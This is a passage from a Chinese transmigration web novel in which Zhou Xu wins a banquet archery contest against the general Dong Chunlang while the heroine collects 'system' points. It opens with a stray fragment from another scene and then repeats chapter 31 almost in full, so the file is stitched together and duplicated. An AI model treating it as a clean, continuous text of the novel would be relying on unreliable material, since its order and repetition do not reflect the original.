人已经做满了,她想寻江夫人挨着,没等她跨进亭子,董春琳想逮猴子一般,眼睛发亮,拍拍扒松子的手,一脸兴奋的拉着她挨自己坐好,江日暮屁股还没坐稳,小董已经进入吐槽模式了:“暮姐姐,你可算来了!你看看我们左边第三桌头上插金凤凰钗子的女的,已经在哪里显摆半天了!”
“显摆啥!”
“显摆她有钱呗,她
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那金钗说是宫里娘娘赏的,整个苏州都没几个姑娘有呢!”
江日暮不在意道:“看起来就是个金钗,估计是贵在它的意义吧!”
董春琳自顾自说着:“你不知道!没开席之前,她还嘲讽我们董家女子假正经,成日就会躲在家里念书,堂叔家的三妹妹五妹妹都被她削了一遍,要不是仗着我爹比她爹官职高,说不定还能来奚落我呢!”
“会写个字,弹根弦,跟上了天似的,暮姐姐,我听小姑姑说,你的书法在京城可是师承翰林院院长石曾先生的,甚至一副字画高价难求呢,等会她在猖狂,你就去秀一手,用实力堵上她嘴!”
江日暮怕露出破绽假装微笑,实则内心已慌的一批。
什么书法?她那医生专属鬼画符的字,别说书法了,跟字都不沾边,怎么上去秀,让她安安静静的欣赏各种帅哥美女不好吗?
31.第 31 章
他问的一本正经,江日暮也没往歪处想,趁着他赢了比赛附和:“当然,我是你头号迷妹。”
“哦。”周序敷衍应她。
......,干哈?他那样轻飘飘的“哦”是什么意思,她的喜欢很不值钱嘛?
比赛事她即兴提出来的,最后一场她苦想也想不出什么方案来。
“怎么,黔驴技穷了?”周序问她。
江日暮虚着眼看他,不对劲不对劲,这大奸臣以往都是有事憋心里,现在怎么看着,开朗了不少。
“我帮你出个主意,听不听?”
江日暮:“听!”
他指着台子正前方约四五十米开外的柿子树:“比箭既要有难度,又要有看头,可以换了棉花箭头改真箭头,暮姐姐觉得呢?”
江日暮搓搓手臂,虽说她母亲总是让周序别和我们生分,可他突然也太不生分了,这暮姐姐叫的,像锁魂。
江日暮:“真箭?那不行,万一伤到别人......”
话说一半,江日暮想起他刚刚蒙眼打鸟的模样,自己简直是多虑了。
“行!树上结满了柿子,那就比半炷香之内,谁射中的柿子越多,谁就是胜者如何?”
这难度虽与刚刚射白鸽相当,但有二位颜值撑着,想必也有看头。
周序摇摇头:“不是射柿子!”
“啊?那是叶子?”
“好好的柿子,射穿了多浪费,要比就比在不破坏柿子的情况下将柿子精准击落,若有损坏便不作数。”
江日暮懵了:“那多难啊,不能碰到柿子,那就是说要射中果子与树枝连接处的果蒂,这就不是单考验眼睛耳朵了,劲儿还要把控的巧。”
她补上一句:“这不可能!”
“我觉得的周公子这点子出的极妙。”
董春琅不知何时走来,听见他们刚刚的议论的事,道:“暮妹妹,那就在半柱香内以完好的柿子数量定胜负如何?”
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二人信誓旦旦的样子,江日暮道:“你俩的主场,听你们的。”
戏曲毕,锣鼓响,台上仆人变换了红线的位置,箭枝也全部换成打猎用的铁箭头嘛,江日暮简单说了终局比赛的规则,惹得台下沸腾,尤其是男子那边。
射柿子,听起来还是很简单,但懂射艺的都知道,柿子树上的好柿子也就那些,若还想让柿子完好无损的落地,就要优先选择高处的、未熟透的、质地较硬的。
有些柿子结的位置刁钻,藏在错综复杂的树叶树枝中,想要在有限的时间里以数量取胜,除了迅速判断哪个最好下手,更要预判挡在树叶后面的柿子具体位置。
射鸟的时候,谁的听力好,那他的优势会大一些,但这一次就是在比绝对实力了,视力,臂力,专注力以及对位置准确的预判力。
一旦分神,就是输的惨烈,毫无退路,江日暮觉得周序在玩火,不自觉担忧的看向他。
“叮”
耳边传来了许久没有听到的系统声音:
【中秋佳节,主角大出风头,此次竞技中宿主功劳不可磨灭,现给予奖励:主角爽度?50,人物正面形象矫正度?50,主角好感度加10,积分加100,数值总计为好感度33,积分330。】
系统大概是检测到周序赢了上一场比赛的好心情了,可这加分也太延迟了。
还有还有,这两项奇怪的新数值是个什么鬼?
“小桶小桶,请问一下主角爽度与人物正面形象矫正度是什么鬼?”
系统:【主角爽度是指周序现在的心情,人物正面形象矫正度是指周序对这个世界爱的程度,数值越高,掉落奖励的可能性就越大,宿主加油哟。】
还有这种惊喜?
江日暮心里乐开了花,她秉承既来之则安之的好心态,看着越来越高的积分,心里舒坦不少,不仅回家暴富的日子有盼头了,新开的数值说不定还能让她在这里过的更舒服一点!
小满端了盘子给台上二人,盘中盛有两个纸团,分别编注前后,谁抓到“前”字,便是第一个先来。
抓阄有运气成分,显然运气也是实力的一种。
“董家公子——“前”!”
完了,她心里一沉,周序没抽中首发的名额该不会要掉主角爽度吧,这后者肯定是吃亏的啊!
明眼人都知道,先射的优势多有大。
这么说吧,没熟透的柿子果实,在树上的数量是固定的,而那些位置好的,更是矮子里面挑将军,被筛了半成,先射的能挑到好上手的,胜率自然会大一些。
而后者要在前者已经清理过一遍的基础之上,必然难度会再加一层。
早知道应该帮周序作弊来着,现在没指望了,董春琅是战场上有十年经验的少将军,周序是府宅里乳臭未干的毛头小子。
董春琅还优势的情况下,所有人心里的天平都已经偏向了显而易见的那位。
这时董春琳和戚氏也换好衣服回了席位,看见自己哥哥意气风发的站在台上,马上跟个拉拉队似的喊起来:“大哥哥!你可以的!”
他已经很可以了妹妹,真的!
男子那边也有人议论起来:“听我爹爹说,董家长子十几岁就跟着武学师傅学武,凡是教过的都说他天赋极高是个做将军的料子。”
“可不是嘛,自打董大公子升了副将,从董府出来的,凡是从董府出来的,身价都要翻个几倍。”
“有这么夸张嘛,!”
“怎么没有,贞庸十七年,前十年正是改朝换代的用人之际,十三四岁的少年外出远征,能爬到副将的位置,你当真以为是靠运气,运气只是人家实力上的锦上添花。”
“你看这位京州来的公子,虽说出身侯门,可到底吃的饭不如董家公子吃的盐多,再有天赋,实战经验少啊,怕是比不过喽。”
董春琅不仅是整个江南的各大世家教孩子的正面教材,也是闺秀间私下闲聊的理想人夫,有家世,有本事,还有颜值,谁瞧来不迷糊呢。
听着他们叽叽喳喳,连江日暮都觉得周序这把希望不大了。
他比董春琅小了七岁,也就是七年啊,这差距就跟两个都有天赋的人比学习成绩一样,一个第一次做卷子,一个同一张卷子做了七次。
能在一个维度嘛!
江日暮本着与周序一荣俱荣一损俱损的心情,走到周序身边,将他袖子拉拉,此时董春琅已经上台在检查箭枝了。
瞧她脸色不对,周序问:“你怎么了?”
江日暮吸一口气,认真道:“要是等会儿你输了,可别不开心啊。”
周序:“嗯?”
她满脑子都在担心自己那辛苦攒到现在的分数泡汤,赶紧给他提前打上安慰剂:“我说,若是你输了也别难过,胜败乃兵家常事,人嘛,一生是像波浪一样,既有翻滚的浪花,也有平静的水面,所以,你千万不要被结果影响,放宽心。”
周序:“好!”
江日暮笑嘻嘻凑过去:“若是你赢了,咱们就去找孟善,去宴春楼找顾叔叔要个包厢好好搓一顿,他那里的狮子头真是绝了。”
“当然,要是你输了.......”江日暮顿了顿,想着该如何安慰。
周序偏头,眼睛斜看她:“输了如何?”
江日暮一拍手:“那就搓两顿,一顿我请,一顿还是我请,你知道的,姐姐钱太多实在没处花,难受着呢!”
她傲娇的迎上周序的目光,手竖起大拇指朝自己点了点。
周序笑开了:“照你的逻辑,那我赢了,岂不还亏了?”
江日暮才反应过来,握着下巴沉思:“对哦,那这样吧,你若赢了,我带你去吃顿饭,你还可以提一个要求,能力范围之内的我都满足你。”
周序丝毫不见比赛没占优势的慌张,气定神闲道:“好,听你的!”
“咚咚咚”锣鼓敲响,四下安静。
鉴于这场比拼已经将众人胃口吊的三尺高了,玩性大起的年轻人私下纷纷下起了赌注,有用银钱的,有用玉佩的,=女子那边也不甘示弱,耳坏首饰尽数压注,想趁性痛快一次。
一直撅嘴不高兴的金兰兰也忘记了不能变花蝴蝶的烦恼,跟着大部队赌了把大的,压了大金镯子。
竞技比赛自带的紧张刺激氛围因着大家各自下了赌注,又更添了一分趣味,在看台上二人的一举一动已经开始和心脏挂钩了。
董春琳自是压自己大哥,小心脏如博弈般跟着一枝又一枝飞出去的箭羽大起大落。
若中了,满堂喝彩,歪了的,惹一顿长吁短叹,阴差阳错的同乐乐,将宴会的氛围推至好几年都不曾有过的热血高潮。
到底是战场上血拼出来的实干家,董春琅眼神微眯,精神专注,拉弓的身体线条极具力量,他的世界里好像只剩下了树上的果子。
只听呼,呼,呼的箭羽擦过空气的声音,干净利落,毫不拖泥带水。
一个,两个,三个,柿子飞速在接二连三射出的箭羽中掉落,半炷香之内,二十支箭羽用完,下人奉上一篮子柿子,倒在地上细数了三次。
紧接着,锣鼓一响。
“董家大公子——十八颗柿子!”
“大哥哥!”
“好厉害啊!我赢了,我们赢定了!”
“完胜啊!这就是少年将军的实力嘛!”
周序还没上场,宴席上的欢呼就像为这场比赛定了结局,少年们都沸腾了,甚至激情澎湃的跳起来拥抱欢呼的,仿佛周序的上场不过是象征性的为这次比赛画一个句号罢了。
有些人直接不避讳声音飘进江日暮耳朵:“这还怎么比?周家公子不是输定了吗?”
“可不是,二十支箭啊,击中十八个呢,也不知道周家公子能几个!”
“不管了,赢钱了就行!”
漂亮的开场将燃血烘托到顶点,周序的上台反而是像激情过后遗留的那一点点眷恋,能看,却再激不起更高的火花。
他倒是不被董春琅已经出来的成绩影响,悠悠上台,检查好箭羽后,他出乎众人意料的将箭筒背在了身上。
董春琅射箭时,会在瞄准的时间里定一定,虽每一支都射得极稳,但箭与箭之间会空出几秒的时间从地上拿箭。
可周序将箭筒背在身上,意味着他打算用更顺手的姿势,以极快的方式连轴撒放。
台下有人开始说凉话:“花架子吧,这有什么意义?”
“是啊,多此一举,这是比谁打的果子多,又不是比谁能将箭先射完,有什么用!”
江日暮本能的护犊子,拿白眼去瞥那几个呲牙咧嘴的长舌男。
众人越是将周序踩得极低,江日暮就越生气,内心也越沸腾,甚至有一种热血冲头的预感,她居然荒唐的认为周序或许会赢!
上头归上头,她看向周序的目光却是忧色。
周序背好箭筒,搭箭、举弓、开弓、靠位、瞄准,身体托出男子的力量感,他的身形不如董春琅雄厚,撸起的小臂呈现出柔美的肌肉线条,与他宽瘦的开肩拉成好看的站姿。
微仰的下巴,鼻梁高而直,与整张脸的柔和融在一处
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,侧颜在灯火中被勾勒得干净利落,唇角带着微微上扬的弧度,仿佛随时会牵起一抹浅笑。
男子不懂,女子吃这套,包括江日暮自己。
忽而,他转头看她一眼,嘴巴动了动。
男性崇拜力量,比起壮实实的董春琅,有人嘲讽:“长的就文文弱弱的,他若赢了,要是周旭赢了,我便奉上万两黄金。”
许多人跟着哄笑。
董春琅眉头微皱,看着那群无畏的后生摇摇头,外行看热闹,内行看门道。
射艺不是举重,怎么能靠力量判断输赢呢,周序拉弓搭箭的时候,他就猜出这小子不简单了。
步伐老成稳重,神情专注,包括手捏箭尾的动作都是极其考究的,长相稚嫩,可眼神里的那股狠劲,就像他在战场上看到的那些在死人身边徘徊的鹰,狠劲里藏着与他年龄不符的冷静与肃杀。
他不仅师出高人,还经历过常人不能过的坎!
但他与江日暮说话时,眼神里的肃杀又全然消失,温柔如水,轻松自然的回归到纯真少年的模样。
大家还在哄笑,却没意料到周序已经一支两支三支......的撒放出去了,刷刷的声音,一气呵成的柿子像下雨一样纷纷落地。
众人才开始正视眼前的少年。
“他这是一口气射中的?”
“太狂了吧,几个柿子了?”
“我数着十五个左右吧!”
“香才烧了个头头呢!”
“难道比赛结束的这么快嘛,他还能赢了?!”
树上的果子已经快看不见了,要么剩下老的,掉在地上必会摔烂,箭头擦过也易损坏,要么剩点青的,可都隐藏在树叶与枝杈里。
光秃秃的树顶,冒出来的果子,远远瞧着只能看到指甲盖大小的果身,其难度堪比用一双透视眼带上望远镜,才能透过遮挡柿子的树叶来预判柿子的位置。
若说刚刚打鸽子还能听声,那此刻便是真正的盲击了,这样的难度怕是连最精准的GPS定位系统都不一定能够做得到。
江日暮悬着的心快要松懈时,只听与刚刚悄然不同的“嗖”的一声,箭头刺破树叶,哗哗作响,一颗柿子在叶冲里缓冲下来,快速落地。
不受旁人影响,周序聚精会神的搭上第十六根箭。
就在他手将将松开箭,要飞出去的那一刻,柿树之下不知何时冲进来了一个三岁的小娃娃,小娃娃不知道危险,笑呵呵的去捡掉落的柿子。
“啊!不要!”只听有妇人尖锐的高喊。
高高的树枝上,如果掉下来的柿子以自由落体的速度砸到小孩子的头,不傻,也得脑震荡的。
江日暮连喊都来不及,所有人等着可能会出现的柿子撞击在小孩头上,又是一声‘嗖’,周序的另一支箭,不知何时飞出来,堪堪射到刚刚飞出去的那一支,将其打歪。
柿子没有砸下来,众人舒了一口气。
两根箭支比柿子轻,被茂密的树杈绊来绊去的下落,护卫在这个间隙忙将孩子跑走,箭才缓缓掉了下来。
赛前还在张狂嘲讽的少年们,收回了瞧不起周序的眼神,浮现一丝尊重。
在不懂箭的,也知道周序的第二支箭的含金量了。
香还在燃烧,突发情况没有影响到周序是不可能的,江日暮看他脸上的慌张还未褪去,背在身后的手在颤抖。
再一看,他右手虎口处有血水流出了!
他受伤了!他怎么受伤了!
江日暮心骤的一紧,怎么办?
他只剩最后三支箭,三支全中,也就是十八个柿子,还必须精准的射中树上已经几乎看不见的果实,才能拉成平手。
想赢简直是天方夜谭,痴人说梦。
董春琅看出了周序颤抖的右手,他第二支箭想追上第一支箭,就必须用十成十的力,还要在瞬间调整好方向,这样伤人的力道会有反噬。
弓弦回弹的力崩伤了他的虎口,纵然他输了比赛,这样的难度也是虽败犹荣,并不丢人。
江日暮却不这样想,周序从来都是要强的,若是输了,肯定会对他心灵造成打击,己所不欲勿施于人,本来就是她为了躲事儿,拉周序挡枪的,这下好了,周序替她丢脸了。
江日暮满脑子都在想着,等周序失败后该如何补偿他。
再抬头,周序反手拉弓,用那只受伤的手握住弓柄,香燃烧到了三分之一,一节香灰无声掉落,周序没有放弃,最后三支箭,江日暮眼睛都不敢眨一下。
宴会安静到,她甚至可以听见香灰掉落的声音。
只见周序默默调节呼吸和节奏,受伤的手照样将弓端的如山稳当。
“嗖,嗖,嗖!”所有人都听见了果子掉落的声音,男席站起来一片想确认到底掉下来几个!
下人提着篮子上台,三个人翻数着确认数量。
锣鼓“咚”一声报数,报数人大喊:“周家公子——十九个!”
报出结果的那一刻,整个宴会像是被点燃了一样。
“哇哦!”
“天啊!”
“神啊!”
江日暮也激动的大喊:“周序!你赢了!”
她顾不得什么男女关系了,只想冲上台去抱一抱他,却被陈二抢了先!
“周兄!你真厉害!”
周序被扑过来的陈二搂的愣了一瞬,紧接着有人高举双臂狂奔,几个活泼的上去把他围成一圈,高高的抱起又扔下。每个人的脸都在发光。
就连董春琳这个对手派的铁粉都钦佩的对周序心服口服了。
31.第 31 章
他问的一本正经,江日暮也没往歪处想,趁着他赢了比赛附和:“当然,我是你头号迷妹。”
“哦。”周序敷衍应她。
......,干哈?他那样轻飘飘的“哦”是什么意思,她的喜欢很不值钱嘛?
比赛事她即兴提出来的,最后一场她苦想也想不出什么方案来。
“怎么,黔驴技穷了?”周序问她。
江日暮虚着眼看他,不对劲不对劲,这大奸臣以往都是有事憋心里,现在怎么看着,开朗了不少。
“我帮你出个主意,听不听?”
江日暮:“听!”
他指着台子正前方约四五十米开外的柿子树:“比箭既要有难度,又要有看头,可以换了棉花箭头改真箭头,暮姐姐觉得呢?”
江日暮搓搓手臂,虽说她母亲总是让周序别和我们生分,可他突然也太不生分了,这暮姐姐叫的,像锁魂。
江日暮:“真箭?那不行,万一伤到别人......”
话说一半,江日暮想起他刚刚蒙眼打鸟的模样,自己简直是多虑了。
“行!树上结满了柿子,那就比半炷香之内,谁射中的柿子越多,谁就是胜者如何?”
这难度虽与刚刚射白鸽相当,但有二位颜值撑着,想必也有看头。
周序摇摇头:“不是射柿子!”
“啊?那是叶子?”
“好好的柿子,射穿了多浪费,要比就比在不破坏柿子的情况下将柿子精准击落,若有损坏便不作数。”
江日暮懵了:“那多难啊,不能碰到柿子,那就是说要射中果子与树枝连接处的果蒂,这就不是单考验眼睛耳朵了,劲儿还要把控的巧。”
她补上一句:“这不可能!”
“我觉得的周公子这点子出的极妙。”
董春琅不知何时走来,听见他们刚刚的议论的事,道:“暮妹妹,那就在半柱香内以完好的柿子数量定胜负如何?”
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二人信誓旦旦的样子,江日暮道:“你俩的主场,听你们的。”
戏曲毕,锣鼓响,台上仆人变换了红线的位置,箭枝也全部换成打猎用的铁箭头嘛,江日暮简单说了终局比赛的规则,惹得台下沸腾,尤其是男子那边。
射柿子,听起来还是很简单,但懂射艺的都知道,柿子树上的好柿子也就那些,若还想让柿子完好无损的落地,就要优先选择高处的、未熟透的、质地较硬的。
有些柿子结的位置刁钻,藏在错综复杂的树叶树枝中,想要在有限的时间里以数量取胜,除了迅速判断哪个最好下手,更要预判挡在树叶后面的柿子具体位置。
射鸟的时候,谁的听力好,那他的优势会大一些,但这一次就是在比绝对实力了,视力,臂力,专注力以及对位置准确的预判力。
一旦分神,就是输的惨烈,毫无退路,江日暮觉得周序在玩火,不自觉担忧的看向他。
“叮”
耳边传来了许久没有听到的系统声音:
【中秋佳节,主角大出风头,此次竞技中宿主功劳不可磨灭,现给予奖励:主角爽度?50,人物正面形象矫正度?50,主角好感度加10,积分加100,数值总计为好感度33,积分330。】
系统大概是检测到周序赢了上一场比赛的好心情了,可这加分也太延迟了。
还有还有,这两项奇怪的新数值是个什么鬼?
“小桶小桶,请问一下主角爽度与人物正面形象矫正度是什么鬼?”
系统:【主角爽度是指周序现在的心情,人物正面形象矫正度是指周序对这个世界爱的程度,数值越高,掉落奖励的可能性就越大,宿主加油哟。】
还有这种惊喜?
江日暮心里乐开了花,她秉承既来之则安之的好心态,看着越来越高的积分,心里舒坦不少,不仅回家暴富的日子有盼头了,新开的数值说不定还能让她在这里过的更舒服一点!
小满端了盘子给台上二人,盘中盛有两个纸团,分别编注前后,谁抓到“前”字,便是第一个先来。
抓阄有运气成分,显然运气也是实力的一种。
“董家公子——“前”!”
完了,她心里一沉,周序没抽中首发的名额该不会要掉主角爽度吧,这后者肯定是吃亏的啊!
明眼人都知道,先射的优势多有大。
这么说吧,没熟透的柿子果实,在树上的数量是固定的,而那些位置好的,更是矮子里面挑将军,被筛了半成,先射的能挑到好上手的,胜率自然会大一些。
而后者要在前者已经清理过一遍的基础之上,必然难度会再加一层。
早知道应该帮周序作弊来着,现在没指望了,董春琅是战场上有十年经验的少将军,周序是府宅里乳臭未干的毛头小子。
董春琅还优势的情况下,所有人心里的天平都已经偏向了显而易见的那位。
这时董春琳和戚氏也换好衣服回了席位,看见自己哥哥意气风发的站在台上,马上跟个拉拉队似的喊起来:“大哥哥!你可以的!”
他已经很可以了妹妹,真的!
男子那边也有人议论起来:“听我爹爹说,董家长子十几岁就跟着武学师傅学武,凡是教过的都说他天赋极高是个做将军的料子。”
“可不是嘛,自打董大公子升了副将,从董府出来的,凡是从董府出来的,身价都要翻个几倍。”
“有这么夸张嘛,!”
“怎么没有,贞庸十七年,前十年正是改朝换代的用人之际,十三四岁的少年外出远征,能爬到副将的位置,你当真以为是靠运气,运气只是人家实力上的锦上添花。”
“你看这位京州来的公子,虽说出身侯门,可到底吃的饭不如董家公子吃的盐多,再有天赋,实战经验少啊,怕是比不过喽。”
董春琅不仅是整个江南的各大世家教孩子的正面教材,也是闺秀间私下闲聊的理想人夫,有家世,有本事,还有颜值,谁瞧来不迷糊呢。
听着他们叽叽喳喳,连江日暮都觉得周序这把希望不大了。
他比董春琅小了七岁,也就是七年啊,这差距就跟两个都有天赋的人比学习成绩一样,一个第一次做卷子,一个同一张卷子做了七次。
能在一个维度嘛!
江日暮本着与周序一荣俱荣一损俱损的心情,走到周序身边,将他袖子拉拉,此时董春琅已经上台在检查箭枝了。
瞧她脸色不对,周序问:“你怎么了?”
江日暮吸一口气,认真道:“要是等会儿你输了,可别不开心啊。”
周序:“嗯?”
她满脑子都在担心自己那辛苦攒到现在的分数泡汤,赶紧给他提前打上安慰剂:“我说,若是你输了也别难过,胜败乃兵家常事,人嘛,一生是像波浪一样,既有翻滚的浪花,也有平静的水面,所以,你千万不要被结果影响,放宽心。”
周序:“好!”
江日暮笑嘻嘻凑过去:“若是你赢了,咱们就去找孟善,去宴春楼找顾叔叔要个包厢好好搓一顿,他那里的狮子头真是绝了。”
“当然,要是你输了.......”江日暮顿了顿,想着该如何安慰。
周序偏头,眼睛斜看她:“输了如何?”
江日暮一拍手:“那就搓两顿,一顿我请,一顿还是我请,你知道的,姐姐钱太多实在没处花,难受着呢!”
她傲娇的迎上周序的目光,手竖起大拇指朝自己点了点。
周序笑开了:“照你的逻辑,那我赢了,岂不还亏了?”
江日暮才反应过来,握着下巴沉思:“对哦,那这样吧,你若赢了,我带你去吃顿饭,你还可以提一个要求,能力范围之内的我都满足你。”
周序丝毫不见比赛没占优势的慌张,气定神闲道:“好,听你的!”
“咚咚咚”锣鼓敲响,四下安静。
鉴于这场比拼已经将众人胃口吊的三尺高了,玩性大起的年轻人私下纷纷下起了赌注,有用银钱的,有用玉佩的,=女子那边也不甘示弱,耳坏首饰尽数压注,想趁性痛快一次。
一直撅嘴不高兴的金兰兰也忘记了不能变花蝴蝶的烦恼,跟着大部队赌了把大的,压了大金镯子。
竞技比赛自带的紧张刺激氛围因着大家各自下了赌注,又更添了一分趣味,在看台上二人的一举一动已经开始和心脏挂钩了。
董春琳自是压自己大哥,小心脏如博弈般跟着一枝又一枝飞出去的箭羽大起大落。
若中了,满堂喝彩,歪了的,惹一顿长吁短叹,阴差阳错的同乐乐,将宴会的氛围推至好几年都不曾有过的热血高潮。
到底是战场上血拼出来的实干家,董春琅眼神微眯,精神专注,拉弓的身体线条极具力量,他的世界里好像只剩下了树上的果子。
只听呼,呼,呼的箭羽擦过空气的声音,干净利落,毫不拖泥带水。
一个,两个,三个,柿子飞速在接二连三射出的箭羽中掉落,半炷香之内,二十支箭羽用完,下人奉上一篮子柿子,倒在地上细数了三次。
紧接着,锣鼓一响。
“董家大公子——十八颗柿子!”
“大哥哥!”
“好厉害啊!我赢了,我们赢定了!”
“完胜啊!这就是少年将军的实力嘛!”
周序还没上场,宴席上的欢呼就像为这场比赛定了结局,少年们都沸腾了,甚至激情澎湃的跳起来拥抱欢呼的,仿佛周序的上场不过是象征性的为这次比赛画一个句号罢了。
有些人直接不避讳声音飘进江日暮耳朵:“这还怎么比?周家公子不是输定了吗?”
“可不是,二十支箭啊,击中十八个呢,也不知道周家公子能几个!”
“不管了,赢钱了就行!”
漂亮的开场将燃血烘托到顶点,周序的上台反而是像激情过后遗留的那一点点眷恋,能看,却再激不起更高的火花。
他倒是不被董春琅已经出来的成绩影响,悠悠上台,检查好箭羽后,他出乎众人意料的将箭筒背在了身上。
董春琅射箭时,会在瞄准的时间里定一定,虽每一支都射得极稳,但箭与箭之间会空出几秒的时间从地上拿箭。
可周序将箭筒背在身上,意味着他打算用更顺手的姿势,以极快的方式连轴撒放。
台下有人开始说凉话:“花架子吧,这有什么意义?”
“是啊,多此一举,这是比谁打的果子多,又不是比谁能将箭先射完,有什么用!”
江日暮本能的护犊子,拿白眼去瞥那几个呲牙咧嘴的长舌男。
众人越是将周序踩得极低,江日暮就越生气,内心也越沸腾,甚至有一种热血冲头的预感,她居然荒唐的认为周序或许会赢!
上头归上头,她看向周序的目光却是忧色。
周序背好箭筒,搭箭、举弓、开弓、靠位、瞄准,身体托出男子的力量感,他的身形不如董春琅雄厚,撸起的小臂呈现出柔美的肌肉线条,与他宽瘦的开肩拉成好看的站姿。
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忽而,他转头看她一眼,嘴巴动了动。
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射艺不是举重,怎么能靠力量判断输赢呢,周序拉弓搭箭的时候,他就猜出这小子不简单了。
步伐老成稳重,神情专注,包括手捏箭尾的动作都是极其考究的,长相稚嫩,可眼神里的那股狠劲,就像他在战场上看到的那些在死人身边徘徊的鹰,狠劲里藏着与他年龄不符的冷静与肃杀。
他不仅师出高人,还经历过常人不能过的坎!
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大家还在哄笑,却没意料到周序已经一支两支三支......的撒放出去了,刷刷的声音,一气呵成的柿子像下雨一样纷纷落地。
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江日暮悬着的心快要松懈时,只听与刚刚悄然不同的“嗖”的一声,箭头刺破树叶,哗哗作响,一颗柿子在叶冲里缓冲下来,快速落地。
不受旁人影响,周序聚精会神的搭上第十六根箭。
就在他手将将松开箭,要飞出去的那一刻,柿树之下不知何时冲进来了一个三岁的小娃娃,小娃娃不知道危险,笑呵呵的去捡掉落的柿子。
“啊!不要!”只听有妇人尖锐的高喊。
高高的树枝上,如果掉下来的柿子以自由落体的速度砸到小孩子的头,不傻,也得脑震荡的。
江日暮连喊都来不及,所有人等着可能会出现的柿子撞击在小孩头上,又是一声‘嗖’,周序的另一支箭,不知何时飞出来,堪堪射到刚刚飞出去的那一支,将其打歪。
柿子没有砸下来,众人舒了一口气。
两根箭支比柿子轻,被茂密的树杈绊来绊去的下落,护卫在这个间隙忙将孩子跑走,箭才缓缓掉了下来。
赛前还在张狂嘲讽的少年们,收回了瞧不起周序的眼神,浮现一丝尊重。
在不懂箭的,也知道周序的第二支箭的含金量了。
香还在燃烧,突发情况没有影响到周序是不可能的,江日暮看他脸上的慌张还未褪去,背在身后的手在颤抖。
再一看,他右手虎口处有血水流出了!
他受伤了!他怎么受伤了!
江日暮心骤的一紧,怎么办?
他只剩最后三支箭,三支全中,也就是十八个柿子,还必须精准的射中树上已经几乎看不见的果实,才能拉成平手。
想赢简直是天方夜谭,痴人说梦。
董春琅看出了周序颤抖的右手,他第二支箭想追上第一支箭,就必须用十成十的力,还要在瞬间调整好方向,这样伤人的力道会有反噬。
弓弦回弹的力崩伤了他的虎口,纵然他输了比赛,这样的难度也是虽败犹荣,并不丢人。
江日暮却不这样想,周序从来都是要强的,若是输了,肯定会对他心灵造成打击,己所不欲勿施于人,本来就是她为了躲事儿,拉周序挡枪的,这下好了,周序替她丢脸了。
江日暮满脑子都在想着,等周序失败后该如何补偿他。
再抬头,周序反手拉弓,用那只受伤的手握住弓柄,香燃烧到了三分之一,一节香灰无声掉落,周序没有放弃,最后三支箭,江日暮眼睛都不敢眨一下。
宴会安静到,她甚至可以听见香灰掉落的声音。
只见周序默默调节呼吸和节奏,受伤的手照样将弓端的如山稳当。
“嗖,嗖,嗖!”所有人都听见了果子掉落的声音,男席站起来一片想确认到底掉下来几个!
下人提着篮子上台,三个人翻数着确认数量。
锣鼓“咚”一声报数,报数人大喊:“周家公子——十九个!”
报出结果的那一刻,整个宴会像是被点燃了一样。
“哇哦!”
“天啊!”
“神啊!”
江日暮也激动的大喊:“周序!你赢了!”
她顾不得什么男女关系了,只想冲上台去抱一抱他,却被陈二抢了先!
“周兄!你真厉害!”
周序被扑过来的陈二搂的愣了一瞬,紧接着有人高举双臂狂奔,几个活泼的上去把他围成一圈,高高的抱起又扔下。每个人的脸都在发光。
就连董春琳这个对手派的铁粉都钦佩的对周序心服口服了。